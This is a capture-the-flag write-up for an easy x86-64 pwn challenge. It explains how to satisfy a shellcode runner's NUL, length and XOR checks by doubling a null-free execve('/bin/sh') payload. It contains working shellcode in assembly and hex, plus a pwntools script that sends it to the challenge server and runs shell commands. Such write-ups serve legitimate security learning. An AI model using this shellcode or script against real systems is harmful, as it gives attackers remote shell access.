shellco — null-free XOR-halved shellcode
shellco — null-free XOR-halved shellcode
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: duplicated_shellcode_trick, null_free_execve, stdin_shell_command_passthrough
Summary
Task: shellcode runner with three constraints — no NUL bytes, even length, and XOR of first half of bytes equal to XOR of second half. Solution: take a 23-byte null-free execve('/bin/sh') payload and concatenate it with itself (46 bytes, even length, halves identical, so XORs trivially match); pad the remainder of the 0x1000 read with NULs so read() returns immediately, then send shell commands on the same stdin.
shellco — SPB CTF Pwn Season
Description
10 pts, dobor
nc 109.233.56.90 11512Flag is at/flag.
Binary: x86-64 PIE, NX, Full RELRO, no canary.
Analysis
main performs the following, in order:
buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0)— an RWX page.read(0, buf, 0x1000)— up to 4096 bytes of input into the RWX page.len = strlen(buf)— stops at the first NUL.lenmust be even, otherwise"nice joke...".- Splits
bufin halves oflen/2bytes each and XORs every byte in each half. If the two XOR checksums differ →"Bye byte...". - Otherwise
((void(*)())buf)()— executes the shellcode.
So the shellcode must satisfy three constraints simultaneously:
- No NUL bytes (otherwise
strlensees a shorter payload and parity/XOR is computed against the wrong region). - Even length after NUL truncation.
- XOR-of-bytes over the first half == XOR-of-bytes over the second half.
Solution
Any self-contained null-free execve("/bin/sh") shellcode works, but easiest is to duplicate the payload. If both halves are byte-identical, their XOR checksums are trivially equal, and execution flows through the first half and never reaches the second copy.
A classic 23-byte null-free execve("/bin/sh"):
asm read-only • copy allowedBITS 64 xor esi, esi push rsi mov rbx, 0x68732f2f6e69622f ; "/bin//sh" push rbx push rsp pop rdi ; rdi = "/bin//sh" push rsi pop rdx ; rdx = 0 push 0x3b pop rax ; rax = 59 (execve) syscall
Hex dump (23 bytes): 31f65648bb2f62696e2f2f736853545f565a6a3b580f05.
Doubled payload (46 bytes): even length, zero NULs, identical halves → passes all three checks.
The other subtle part is command delivery. read(0, buf, 0x1000) returns as soon as either 0x1000 bytes have arrived or stdin reaches EOF. To avoid shutting down stdin (which would also kill the eventual shell) we send exactly 0x1000 bytes: 46 bytes of shellcode followed by 0x1000 - 46 NUL bytes. The NULs make read return immediately without closing stdin, strlen still sees length 46, and when execve("/bin/sh") fires the shell inherits the open stdin so the next sendline lands as a shell command.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST, PORT = "109.233.56.90", 11512 sc = bytes.fromhex("31f65648bb2f62696e2f2f736853545f565a6a3b580f05") assert len(sc) == 23 and b'\x00' not in sc payload = sc + sc # 46 bytes, even, halves identical full = payload + b'\x00' * (0x1000 - len(payload)) assert len(full) == 0x1000 p = remote(HOST, PORT) p.recvuntil(b"bytes...") p.send(full) p.sendline(b"cat /flag; ls -la /") p.sendline(b"exit") print(p.recvall(timeout=5).decode('latin-1', errors='replace'))